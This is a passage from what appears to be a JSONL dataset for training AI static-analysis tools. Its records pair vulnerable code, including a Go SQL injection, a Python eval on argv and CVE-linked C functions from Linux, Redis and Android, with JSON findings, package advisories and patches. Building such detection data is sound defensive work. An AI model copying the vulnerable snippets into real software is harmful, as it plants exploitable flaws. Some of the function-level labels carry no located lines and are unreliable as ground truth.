FROM users WHERE id = '%s'\", arg)\n\trows, _ := db.Query(query)\n\tdefer rows.Close()\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-89\",\n \"cwe_name\": \"SQL Injection\",\n \"title\": \"SQL injection via fmt.Sprintf\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 4\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"source_file\",\n \"function_declaration\",\n \"block\",\n \"statement_list\",\n \"short_var_declaration\",\n \"expression_list\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"db\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 12\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \"Query\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 15\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"query\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 21\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 26\n }\n ],\n \"explanation\": \"fmt.Sprintf builds the SQL string from untrusted input passed to db.Query.\",\n \"remediation\": \"Use parameterized queries / prepared statements; never concatenate untrusted input into SQL.\"\n}"} {"task": "ast_vuln_detection", "language": "python", "cwe": "CWE-94", "source": "curated SAST pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the python source into its AST, map each token to its AST node, identify the vulnerable sink, and report the vulnerability as JSON.", "input": "def calc():\n param = sys.argv[1]\n return eval(param)\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-94\",\n \"cwe_name\": \"Code Injection\",\n \"title\": \"Code injection via eval\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 3\n ],\n \"sink_node_type\": \"call\",\n \"ast_path\": [\n \"module\",\n \"function_definition\",\n \"block\",\n \"return_statement\",\n \"call\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"eval\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 15\n },\n {\n \"token\": \"param\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 16\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 21\n }\n ],\n \"explanation\": \"eval() on untrusted input allows arbitrary Python execution.\",\n \"remediation\": \"Never eval untrusted input; use a safe parser or restricted interpreter.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "void mp_encode_lua_table_as_map(lua_State *L, mp_buf *buf, int level) {\n size_t len = 0;\n\n /* First step: count keys into table. No other way to do it with the\n * Lua API, we need to iterate a first time. Note that an alternative\n * would be to do a single run, and then hack the buffer to insert the\n * map opcodes for message pack. Too hackish for this lib. */\n lua_pushnil(L);\n while(lua_next(L,-2)) {\n lua_pop(L,1); /* remove value, keep key for next iteration. */\n len++;\n }\n\n /* Step two: actually encoding of the map. */\n mp_encode_map(L,buf,len);\n lua_pushnil(L);\n while(lua_next(L,-2)) {\n /* Stack: ... key value */\n lua_pushvalue(L,-2); /* Stack: ... key value key */\n mp_encode_lua_type(L,buf,level+1); /* encode key */\n mp_encode_lua_type(L,buf,level+1); /* encode val */\n }\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-11218\",\n \"project\": \"redis\",\n \"vulnerable_lines\": [],\n \"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: esphome-device-builder\nInstalled version: 1.0.12\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"esphome-device-builder\",\n \"installed_version\": \"1.0.12\",\n \"note\": \"esphome-device-builder 1.0.12 is at or above the fixed version for PYSEC-2026-4049; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: Debian:11\nManifest: distro package manager (apt/apk)\nPackage: distro-info-data\nInstalled version: 0.51+deb11u11\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:11\",\n \"package\": \"distro-info-data\",\n \"installed_version\": \"0.51+deb11u11\",\n \"note\": \"distro-info-data 0.51+deb11u11 is at or above the fixed version for DLA-4548-1; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int perf_trace_event_perm(struct ftrace_event_call *tp_event,\n\t\t\t\t struct perf_event *p_event)\n{\n\t/* No tracing, just counting, so no obvious leak */\n\tif (!(p_event->attr.sample_type & PERF_SAMPLE_RAW))\n\t\treturn 0;\n\n\t/* Some events are ok to be traced by non-root users... */\n\tif (p_event->attach_state == PERF_ATTACH_TASK) {\n\t\tif (tp_event->flags & TRACE_EVENT_FL_CAP_ANY)\n\t\t\treturn 0;\n\t}\n\n\t/*\n\t * ...otherwise raw tracepoint data can be a severe data leak,\n\t * only allow root to have these.\n\t */\n\tif (perf_paranoid_tracepoint_raw() && !capable(CAP_SYS_ADMIN))\n\t\treturn -EPERM;\n\n\treturn 0;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"linux\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void qemu_spice_add_memslot(SimpleSpiceDisplay *ssd, QXLDevMemSlot *memslot)\n{\n ssd->worker->add_memslot(ssd->worker, memslot);\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"qemu-kvm\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": "CWE-287", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: praisonai\nInstalled version: <4.6.78\nSummary: PraisonAI: Call API localhost-only authentication bypass via spoofed Host header", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-2gpf-2492-q9jh\",\n \"cve\": \"CVE-2026-61435\",\n \"aliases\": [\n \"CVE-2026-61435\",\n \"PYSEC-2026-4247\"\n ],\n \"cwe\": \"CWE-287\",\n \"ecosystem\": \"PyPI\",\n \"package\": \"praisonai\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <4.6.78\",\n \"fixed_version\": \"4.6.78\",\n \"finding\": \"PraisonAI: Call API localhost-only authentication bypass via spoofed Host header\",\n \"remediation\": \"Upgrade praisonai to 4.6.78 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static int jpc_sop_getparms(jpc_ms_t *ms, jpc_cstate_t *cstate, jas_stream_t *in)\n{\n\tjpc_sop_t *sop = &ms->parms.sop;\n\n\t/* Eliminate compiler warning about unused variable. */\n\tcstate = 0;\n\n\tif (jpc_getuint16(in, &sop->seqno)) {\n\t\treturn -1;\n\t}\n\treturn 0;\n}", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"jasper\",\n \"note\": \"Non-vulnerable function from a real project (DiverseVul label 0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int clie_5_attach(struct usb_serial *serial)\n{\n\tstruct usb_serial_port *port;\n\tunsigned int pipe;\n\tint j;\n\n\t/* TH55 registers 2 ports.\n\t Communication in from the UX50/TH55 uses bulk_in_endpointAddress\n\t from port 0. Communication out to the UX50/TH55 uses\n\t bulk_out_endpointAddress from port 1\n\n\t Lets do a quick and dirty mapping\n \t */\n \n \t/* some sanity check */\n\tif (serial->num_ports < 2)\n\t\treturn -1;\n \n \t/* port 0 now uses the modified endpoint Address */\n \tport = serial->port[0];\n\tport->bulk_out_endpointAddress =\n\t\t\t\tserial->port[1]->bulk_out_endpointAddress;\n\n\tpipe = usb_sndbulkpipe(serial->dev, port->bulk_out_endpointAddress);\n\tfor (j = 0; j < ARRAY_SIZE(port->write_urbs); ++j)\n\t\tport->write_urbs[j]->pipe = pipe;\n\n\treturn 0;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-7566\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 16,\n 17\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"clie_5_attach\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 24\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 25\n },\n {\n \"token\": \"usb_serial\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 32\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 43\n },\n {\n \"token\": \"serial\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 44\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"usb_serial_port\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \"port\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 29\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 4,\n \"col\": 10\n },\n {\n \"token\": \"pipe\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"j\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 5\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 6\n },\n {\n \"token\": \"/* TH55 registers 2 ports.\\n\\t Communication in from the UX50/TH55 uses bulk_in_endpointAddress\\n\\t from port 0. Communication out to the UX50/TH55 uses\\n\\t bulk_out_endpointAddress from port 1\\n\\n\\t Lets do a quick and dirty mapping\\n \\t */\",\n \"ast_node\": \"comment\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"/* some sanity check */\",\n \"ast_node\": \"comment\",\n \"line\": 15,\n \"col\": 2\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 16,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 16,\n \"col\": 4\n },\n {\n \"token\": \"serial\",\n \"ast_node\": \"identifier\",\n \"line\": 16,\n \"col\": 5\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 16,\n \"col\": 11\n },\n {\n \"token\": \"num_ports\",\n \"ast_node\": \"field_identifier\",\n \"line\": 16,\n \"col\": 13\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 16,\n \"col\": 23\n },\n {\n \"token\": \"2\",\n \"ast_node\": \"number_literal\",\n \"line\": 16,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 16,\n \"col\": 26\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 17,\n \"col\": 2\n },\n {\n \"token\": \"-1\",\n \"ast_node\": \"number_literal\",\n \"line\": 17,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 17,\n \"col\": 11\n },\n {\n \"token\": \"/* port 0 now uses the modified endpoint Address */\",\n \"ast_node\": \"comment\",\n \"line\": 19,\n \"col\": 2\n },\n {\n \"token\": \"port\",\n \"ast_node\": \"identifier\",\n \"line\": 20,\n \"col\": 2\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 20,\n \"col\": 7\n },\n {\n \"token\": \"serial\",\n \"ast_node\": \"identifier\",\n \"line\": 20,\n \"col\": 9\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 20,\n \"col\": 15\n },\n {\n \"token\": \"port\",\n \"ast_node\": \"field_identifier\",\n \"line\": 20,\n \"col\": 17\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 20,\n \"col\": 21\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 20,\n \"col\": 22\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 20,\n \"col\": 23\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 20,\n \"col\": 24\n },\n {\n \"token\": \"port\",\n \"ast_node\": \"identifier\",\n \"line\": 21,\n \"col\": 1\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 21,\n \"col\": 5\n },\n {\n \"token\": \"bulk_out_endpointAddress\",\n \"ast_node\": \"field_identifier\",\n \"line\": 21,\n \"col\": 7\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 21,\n \"col\": 32\n },\n {\n \"token\": \"serial\",\n \"ast_node\": \"identifier\",\n \"line\": 22,\n \"col\": 4\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 22,\n \"col\": 10\n },\n {\n \"token\": \"port\",\n \"ast_node\": \"field_identifier\",\n \"line\": 22,\n \"col\": 12\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 22,\n \"col\": 16\n },\n {\n \"token\": \"1\",\n \"ast_node\": \"number_literal\",\n \"line\": 22,\n \"col\": 17\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 22,\n \"col\": 18\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 22,\n \"col\": 19\n },\n {\n \"token\": \"bulk_out_endpointAddress\",\n \"ast_node\": \"field_identifier\",\n \"line\": 22,\n \"col\": 21\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 22,\n \"col\": 45\n },\n {\n \"token\": \"pipe\",\n \"ast_node\": \"identifier\",\n \"line\": 24,\n \"col\": 1\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 24,\n \"col\": 6\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-20", "source": "BigVul (real CVE fix pairs)", "instruction": "The following C function contains a known security vulnerability (CWE-20). Produce the patched version and explain the fix. Output JSON.", "input": "static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,\n\t\tunsigned long address, pte_t *page_table, pmd_t *pmd,\n\t\tunsigned int flags, pte_t orig_pte)\n{\n\tpgoff_t pgoff = (((address & PAGE_MASK)\n \t\t\t- vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;\n \n \tpte_unmap(page_table);\n \tif (!(flags & FAULT_FLAG_WRITE))\n \t\treturn do_read_fault(mm, vma, address, pmd, pgoff, flags,\n \t\t\t\torig_pte);\n\tif (!(vma->vm_flags & VM_SHARED))\n\t\treturn do_cow_fault(mm, vma, address, pmd, pgoff, flags,\n\t\t\t\torig_pte);\n\treturn do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"cve\": \"CVE-2015-3288\",\n \"fixed_code\": \"static int do_fault(struct mm_struct *mm, struct vm_area_struct *vma,\\n\\t\\tunsigned long address, pte_t *page_table, pmd_t *pmd,\\n\\t\\tunsigned int flags, pte_t orig_pte)\\n{\\n\\tpgoff_t pgoff = (((address & PAGE_MASK)\\n \\t\\t\\t- vma->vm_start) >> PAGE_SHIFT) + vma->vm_pgoff;\\n \\n \\tpte_unmap(page_table);\\n\\t/* The VMA was not fully populated on mmap() or missing VM_DONTEXPAND */\\n\\tif (!vma->vm_ops->fault)\\n\\t\\treturn VM_FAULT_SIGBUS;\\n \\tif (!(flags & FAULT_FLAG_WRITE))\\n \\t\\treturn do_read_fault(mm, vma, address, pmd, pgoff, flags,\\n \\t\\t\\t\\torig_pte);\\n\\tif (!(vma->vm_flags & VM_SHARED))\\n\\t\\treturn do_cow_fault(mm, vma, address, pmd, pgoff, flags,\\n\\t\\t\\t\\torig_pte);\\n\\treturn do_shared_fault(mm, vma, address, pmd, pgoff, flags, orig_pte);\\n}\\n\",\n \"change_summary\": \"mm: avoid setting up anonymous pages into file mapping\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-787", "source": "BigVul (real CVE-fixed functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "VOID ixheaacd_esbr_postradixcompute2(WORD32 *ptr_y, WORD32 *ptr_x,\n const WORD32 *pdig_rev_tbl,\n WORD32 npoints) {\n WORD32 i, k;\n WORD32 h2;\n\n WORD32 x_0, x_1, x_2, x_3;\n WORD32 x_4, x_5, x_6, x_7;\n WORD32 x_8, x_9, x_a, x_b, x_c, x_d, x_e, x_f;\n WORD32 n00, n10, n20, n30, n01, n11, n21, n31;\n WORD32 n02, n12, n22, n32, n03, n13, n23, n33;\n WORD32 n0, j0;\n WORD32 *x2, *x0;\n WORD32 *y0, *y1, *y2, *y3;\n\n y0 = ptr_y;\n y2 = ptr_y + (WORD32)npoints;\n x0 = ptr_x;\n x2 = ptr_x + (WORD32)(npoints >> 1);\n\n y1 = y0 + (WORD32)(npoints >> 2);\n y3 = y2 + (WORD32)(npoints >> 2);\n j0 = 8;\n n0 = npoints >> 1;\n\n for (k = 0; k < 2; k++) {\n for (i = 0; i> 1; i += 8) {\n h2 = *pdig_rev_tbl++ >> 2;\n\n x_0 = *x0++;\n x_1 = *x0++;\n x_2 = *x0++;\n x_3 = *x0++;\n x_4 = *x0++;\n x_5 = *x0++;\n\n x_6 = *x0++;\n x_7 = *x0++;\n \n n00 = x_0 + x_2;\n n01 = x_1 + x_3;\n n20 = x_0 - x_2;\n n21 = x_1 - x_3;\n n10 = x_4 + x_6;\n n11 = x_5 + x_7;\n n30 = x_4 - x_6;\n n31 = x_5 - x_7;\n y0[h2] = n00;\n y0[h2 + 1] = n01;\n y1[h2] = n10;\n y1[h2 + 1] = n11;\n y2[h2] = n20;\n y2[h2 + 1] = n21;\n y3[h2] = n30;\n y3[h2 + 1] = n31;\n \n x_8 = *x2++;\n x_9 = *x2++;\n x_a = *x2++;\n x_b = *x2++;\n x_c = *x2++;\n x_d = *x2++;\n\n x_e = *x2++;\n x_f = *x2++;\n \n n02 = x_8 + x_a;\n n03 = x_9 + x_b;\n n22 = x_8 - x_a;\n n23 = x_9 - x_b;\n n12 = x_c + x_e;\n n13 = x_d + x_f;\n n32 = x_c - x_e;\n n33 = x_d - x_f;\n y0[h2 + 2] = n02;\n y0[h2 + 3] = n03;\n y1[h2 + 2] = n12;\n y1[h2 + 3] = n13;\n y2[h2 + 2] = n22;\n y2[h2 + 3] = n23;\n y3[h2 + 2] = n32;\n y3[h2 + 3] = n33;\n }\n x0 += (WORD32)npoints >> 1;\n x2 += (WORD32)npoints >> 1;\n }\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-787\",\n \"cwe_name\": \"Out-of-bounds Write\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2018-9496\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [\n 10,\n 11,\n 40,\n 41,\n 42,\n 43,\n 44,\n 45,\n 46,\n 47,\n 48,\n 49,\n 50,\n 51,\n 52,\n 53,\n 54,\n 55,\n 67,\n 68\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"VOID\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"ixheaacd_esbr_postradixcompute2\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 36\n },\n {\n \"token\": \"WORD32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 37\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 44\n },\n {\n \"token\": \"ptr_y\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 45\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \"WORD32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 52\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 59\n },\n {\n \"token\": \"ptr_x\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 60\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 65\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"WORD32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 2,\n \"col\": 7\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 2,\n \"col\": 14\n },\n {\n \"token\": \"pdig_rev_tbl\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 15\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 27\n },\n {\n \"token\": \"WORD32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \"npoints\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 44\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 51\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 53\n },\n {\n \"token\": \"WORD32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"i\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 9\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 4,\n \"col\": 10\n },\n {\n \"token\": \"k\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 12\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 13\n },\n {\n \"token\": \"WORD32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 2\n },\n {\n \"token\": \"h2\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 9\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 11\n },\n {\n \"token\": \"WORD32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 3\n },\n {\n \"token\": \"x_0\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 10\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 13\n },\n {\n \"token\": \"x_1\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 15\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 18\n },\n {\n \"token\": \"x_2\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 7,\n \"col\": 23\n },\n {\n \"token\": \"x_3\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 25\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 28\n },\n {\n \"token\": \"WORD32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 8,\n \"col\": 3\n },\n {\n \"token\": \"x_4\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 10\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 8,\n \"col\": 13\n },\n {\n \"token\": \"x_5\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 15\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 8,\n \"col\": 18\n },\n {\n \"token\": \"x_6\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 20\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 8,\n \"col\": 23\n },\n {\n \"token\": \"x_7\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 25\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 28\n },\n {\n \"token\": \"WORD32\",\n \"ast_node\": \"type_identifier\",\n \"line\": 9,\n \"col\": 3\n },\n {\n \"token\": \"x_8\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 10\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 9,\n \"col\": 13\n },\n {\n \"token\": \"x_9\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 15\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 9,\n \"col\": 18\n },\n {\n \"token\": \"x_a\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 20\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 9,\n \"col\": 23\n },\n {\n \"token\": \"x_b\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 25\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 9,\n \"col\": 28\n },\n {\n \"token\": \"x_c\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 30\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 9,\n \"col\": 33\n },\n {\n \"token\": \"x_d\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 35\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 9,\n \"col\": 38\n },\n {\n \"token\": \"x_e\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 40\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected 